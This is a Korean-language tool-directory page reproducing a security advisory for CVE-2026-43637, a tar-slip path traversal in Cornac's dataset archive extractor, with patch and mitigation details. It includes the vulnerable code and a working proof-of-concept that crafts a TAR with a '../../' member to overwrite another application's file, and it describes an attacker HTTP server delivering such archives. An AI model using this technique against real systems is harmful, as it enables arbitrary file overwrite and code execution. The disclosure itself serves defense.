Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-43637-cornac — Cornac에서 _extract_archive를 통한 경로 탐색 (Tar Slip) (CVE-2026-43637) | Kitploit
도구/GitHubGitHub/rahulreddykarne/cve-2026-43637-cornac
Vulnerability AnalysisExploitationSupply Chain SecurityLearning & EducationRed Teaming
GitHubrahulreddykarne/cve-2026-43637-cornac

CVE-2026-43637-cornac

Cornac에서 _extract_archive를 통한 경로 탐색 (Tar Slip) (CVE-2026-43637)

저장소 보기
17일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-43637: Cornac의 _extract_archive를 통한 경로 탐색(Tar Slip)

심각도: 높음(High), CVSS 4.0 8.8, 치명적(Critical), CVSS 3.1 9.1(CNA인 VulnCheck이 배정)

벡터(v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

벡터(v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

영향받는 버전: cornac < 2.6.0

수정된 버전: 2.6.0

CWE: CWE-22(제한된 디렉터리에 대한 경로명의 부적절한 제한, '경로 탐색')

보고자: Rahul Karne 및 Bharath Kumar Reddy Janumpally

CNA: VulnCheck

게시일: 2026년 7월 15일


요약

Cornac의 데이터셋 로더는 아카이브를 자동으로 다운로드하고 압축을 풀며, 압축 해제기는 아카이브 내부의 모든 경로를 신뢰했습니다.

Cornac은 추천 시스템을 위한 머신러닝 프레임워크입니다. 내장된 데이터셋 로더는 네트워크에서 아카이브를 가져와 확인 절차 없이 압축을 풉니다. cornac/utils/download.py의 압축 해제 루틴 _extract_archive()는 멤버 경로에 대한 검증 없이 archive.extractall()을 호출합니다. 멤버에 ../ 시퀀스, 절대 경로, 심볼릭 링크 및 하드링크 항목을 포함하는 TAR 아카이브는 의도된 캐시 디렉터리를 완전히 벗어나, 실행 중인 프로세스가 쓸 수 있는 파일 시스템의 임의 위치에 파일을 기록합니다. 여러 로더가 평문 HTTP를 통해 가져오므로, 네트워크에 위치한 공격자는 전송 중인 악성 아카이브로 대체할 수 있으며 로더가 호출되는 즉시 압축이 풀리게 할 수 있습니다.

영향

공격자가 완전히 제어하는 경로와 내용으로 임의 파일 쓰기가 가능하며, 이는 Cornac을 실행하는 프로세스의 권한에 의해서만 제한됩니다. 이는 읽기가 아닌 쓰기 프리미티브이므로 직접적인 정보 유출은 없지만, 임의 파일 쓰기는 코드 실행 및 서비스 거부로 이어지는 잘 알려진 경로입니다:

  • 코드 실행. site-packages의 .py 파일, 셸 시작 파일 또는 예약 작업 항목을 덮어쓰면 다음 import, 셸, 작업 실행 시 공격자 코드가 실행됩니다.
  • 서비스 거부. 애플리케이션 자체 모듈이나 구성을 덮어쓰면 공격자 콘텐츠로 대체됩니다. 검증된 PoC에서는 대상 모듈이 import 시 예외를 발생시키는 모듈로 교체되어 애플리케이션이 더 이상 시작할 수 없게 됩니다. 이는 일시적인 크래시가 아니라 파일이 복원될 때까지 지속됩니다.
  • 구성 변조. 구성 파일을 교체하면 데이터베이스 연결을 다른 대상으로 돌리거나, 인증 검사를 비활성화하거나, 설정을 주입할 수 있습니다.

영향을 받는 대상: 공격자가 제어하거나 가로챌 수 있는 아카이브를 다운로드하여 압축 해제하는 데이터셋 로더를 호출하는 cornac < 2.6.0의 모든 사용 환경. 로더가 자동으로 압축을 풀기 때문에 일반적인 로더 호출 외에는 어떤 단계도 필요하지 않습니다.

영향을 받지 않는 대상:

  • 2.6.0 이상 버전 사용자(압축 해제 시 모든 멤버 경로를 검증하는 버전).
  • 다운로드형 데이터셋 로더를 호출하지 않거나, 신뢰할 수 있는 채널을 통해 완전히 신뢰되고 무결성이 검증된 소스의 아카이브만 압축 해제하는 코드.
  • 특히 ZIP 입력은 이 경로로 악용할 수 없습니다(기술적 세부 사항의 참고 참조). 악용 가능한 것은 TAR 경로입니다.

보급 범위

지표값출처
누적 다운로드 수4.1Mpepy.tech/projects/cornac
최근 30일 다운로드 수67.8K

기술적 세부 사항

근본 원인

cornac/utils/download.py의 _extract_archive()는 ZIP과 TAR 입력을 모두 단일 코드 경로를 통해 압축 해제하며, TAR의 경우 경로 검사 없이 extractall()을 호출합니다:

root@kitploit:~
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
    """Extracts an archive."""
    for archive_type in ["zip", "tar"]:
        if archive_type == "zip":
            open_fn = zipfile.ZipFile
            is_match_fn = zipfile.is_zipfile
        elif archive_type == "tar":
            open_fn = tarfile.open
            is_match_fn = tarfile.is_tarfile

        if is_match_fn(file_path):
            with open_fn(file_path) as archive:
                try:
                    archive.extractall(extract_path)   # <-- no member-path validation
                except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
                    if os.path.exists(extract_path):
                        if os.path.isfile(extract_path):
                            os.remove(extract_path)
                        else:
                            shutil.rmtree(extract_path)
                    raise

멤버 이름을 제한하는 요소가 없으므로 ../../somewhere/file이라는 이름의 멤버는 extract_path 밖으로 해석되어 해당 위치에 기록됩니다.

호출 체인은 로더 호출로부터 완전히 자동입니다:

root@kitploit:~
cornac.datasets.<name>.load_feedback()
    -> cornac.utils.download.cache()            # downloads via urllib.request.urlretrieve
        -> cornac.utils.download._extract_archive()
            -> tarfile.extractall()             # writes attacker-named paths

TAR 경로가 특히 문제인 이유

Python의 zipfile은 압축 해제 중 ../ 시퀀스를 정화하므로, 이 같은 함수의 ZIP 분기는 최신 Python에서 악용할 수 없습니다. Python의 tarfile은 멤버 경로를 정화하지 않습니다(3.12 이전 버전에서는 정화 기능이 없었고, 3.12 이후에도 명시적인 필터를 지정한 경우에만 정화합니다). Cornac은 두 형식을 동일한 extractall() 호출로 처리하므로 ZIP 분기는 안전하고 TAR 분기는 동일한 코드 라인으로 완전히 악용 가능합니다. 코드가 두 형식에서 동일해 보이기 때문에 바로 그 이유로 이 비대칭성을 놓치기 쉽습니다.

네트워크를 통한 전달

Cornac은 인증서 고정(certificate pinning)도 아카이브 무결성 검사도 없이 urllib.request.urlretrieve()로 다운로드하며, 여러 내장 로더가 http:// URL을 사용합니다. 네트워크에 위치한 공격자는 평문 HTTP 다운로드를 가로채서 업스트림 서버를 손상시키지 않고 악성 TAR을 돌려줄 수 있습니다. 이것이 이 벡터가 원격(remote)이며 로더 호출 외에 사용자 상호작용이 필요하지 않은 이유입니다.

악용 전제 조건

공격자에게 필요한 조건은 다음과 같습니다:

  1. cornac < 2.6.0을 사용하는 대상.
  2. 대상이 아카이브를 다운로드하고 압축 해제하는 데이터셋 로더를 호출할 것.
  3. 로더가 가져오는 업스트림을 운영하거나 전송 중인 평문 HTTP 다운로드를 가로채는 방식으로 아카이브 내용을 제어할 수 있을 것.

대상에 대한 권한이나 로더 호출 외의 사용자 상호작용은 필요하지 않습니다.

개념 증명(PoC)

다음은 수정되지 않은 실제 패키지를 대상으로 Cornac 자체의 _extract_archive를 직접 호출하여 실행한 것입니다.

취약한 버전(2.3.5). ../../ 멤버를 포함하는 TAR이 캐시 디렉터리에 압축 해제됩니다. 해당 멤버는 그 디렉터리 밖에 기록되어 별도의 애플리케이션에 속한 파일을 덮어씁니다:

root@kitploit:~
import cornac.utils.download as d
import io, os, tarfile, tempfile

base   = tempfile.mkdtemp()
cache  = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n    return 'healthy'\n")

mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
    ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
    tf.addfile(ti, io.BytesIO(payload))

d._extract_archive(mal, cache)      # Cornac's real function, cache dir as target

검증된 결과:

root@kitploit:~
victim app.py BEFORE : def run():  return 'healthy'
victim app.py AFTER  : raise ImportError('victim destroyed by tar slip')

benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True

정상 멤버는 예상대로 캐시 내부에 기록되었고, ../../ 멤버는 별도 애플리케이션의 디렉터리에 기록되었습니다. 이제 해당 애플리케이션을 import하면 실패합니다.

전체 공격 데모. 이 저장소의 poc_exploit.py는 전체 체인을 처음부터 끝까지 실행합니다. 공격자 HTTP 서버가 악성 TAR을 전달하고, Cornac의 cache()와 _extract_archive() 호출 체인을 재현한 로더가 단일 load_feedback() 호출에서 이를 자동으로 다운로드하여 압축을 풀며, 별도 애플리케이션의 디렉터리에 있는 두 개의 파일이 덮어써집니다. 취약한 _extract_archive()는 Cornac 소스에서 그대로 사용됩니다.

패치된 버전(2.6.0). 동일한 탐색 아카이브는 아무것도 기록되기 전에 거부됩니다:

root@kitploit:~
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run():  return 'healthy'   (unchanged)

데모 보기

해결 방법

cornac 2.6.0 이상으로 업그레이드하세요:

root@kitploit:~
pip install --upgrade "cornac>=2.6.0"

2.6.0은 보호 장치가 없는 extractall()을 _safe_extract() 헬퍼로 대체합니다. 이 헬퍼는 각 멤버 경로를 os.path.realpath로 해석하여 압축 해제 디렉터리 안에 머물지 않는 모든 대상을 거부하며, 일반 파일과 디렉터리만 허용하고 심볼릭 링크, 하드링크 및 디바이스 항목을 차단합니다.

즉시 업그레이드할 수 없는 경우: 신뢰할 수 없거나 평문 HTTP 채널을 통해 다운로드하는 데이터셋 로더를 호출하지 말고, 직접 제어할 수 없는 소스의 TAR 아카이브를 압축 해제하지 마세요. HTTPS로 가져오면 전송 중 가로채기 위험은 줄어들지만, 악성 또는 손상된 업스트림으로 인한 위험은 사라지지 않습니다.

CVSS 점수에 관하여

VulnCheck(CNA)는 CVSS 4.0 기준 **8.8(높음)**을 배정했습니다(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).

  • AV:N: 악성 아카이브가 네트워크를 통해 전달되며, 여러 로더가 무결성 검사 없이 평문 HTTP로 가져옵니다.
  • AC:L: 탐색 TAR을 만드는 것은 매우 쉬우며 공격은 매번 결정적으로 동작합니다.
  • PR:N: 공격자는 대상 시스템에 계정이나 발판이 필요하지 않습니다.
  • UI:N: 로더가 자동으로 다운로드하고 압축을 풉니다. 단일 로더 호출만으로 확인 단계 없이 전체 체인이 실행됩니다.
  • VC:N: 이 프리미티브는 쓰기 전용이므로 기밀성 영향은 없는 것으로 평가합니다.
  • VI:H / VA:H: 공격자가 기록되는 내용을 완전히 제어하고 프로세스가 쓸 수 있는 파일을 파괴할 수 있으므로, 영향을 받는 시스템의 무결성과 가용성은 높음(High)입니다.
  • SC:N / SI:N / SA:N: CNA는 피해 범위가 별개의 후속 시스템이 아니라 취약한 시스템의 권한 범위 내에 한정된다고 평가했습니다.

CNA가 배정한 8.8이 이 이슈에 대한 공식 수치입니다.

공개 타임라인

날짜이벤트
2026년 5월 3일취약점 식별

공로

Rahul Karne(보안 연구원, IEEE 시니어 멤버)와 Bharath Kumar Reddy Janumpally가 발견 및 보고했으며, VulnCheck을 통해 조정되었습니다. Rahul의 관련 공개 건에는 CVE-2026-65321(PyAthena의 SQL 인젝션)과 CVE-2026-63720(datamodel-code-generator의 코드 인젝션)이 포함됩니다.

연락처: [email protected] · GitHub: rahulreddykarne

참고 자료

  • NVD (CVE-2026-43637): https://nvd.nist.gov/vuln/detail/CVE-2026-43637
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-43637
  • VulnCheck 권고: https://www.vulncheck.com/advisories/cornac-path-traversal-via-extract-archive-in-download-py
  • 수정 풀 리퀘스트 #709: https://github.com/PreferredAI/cornac/pull/709
  • 패치 커밋 8a50be7: https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8
  • 릴리스 노트 v2.6.0: https://github.com/PreferredAI/cornac/releases/tag/v2.6.0
  • 프로젝트 저장소: https://github.com/PreferredAI/cornac
  • 다운로드 통계: https://pepy.tech/projects/cornac

보도 자료

언론 문의: [email protected]. 전체 PoC(공격자 서버, 탐색 아카이브, 피해 애플리케이션) 및 추가 기술 세부 사항은 요청 시 제공됩니다.

도구 다운로드
pepy.tech
일반적인 용도추천 시스템 연구 및 교육; 데이터셋 로더가 네트워크에서 자동으로 가져오며, 일부는 평문 HTTP 사용프레임워크 자체에 내재된 특성
2026년 5월 4일보고(조정된 공개)
2026년 7월 14일수정 사항 병합(PR #709, 커밋 8a50be7)
2026년 7월 15일패치 버전 2.6.0 출시
2026년 7월 15일VulnCheck이 CVE-2026-43637 공개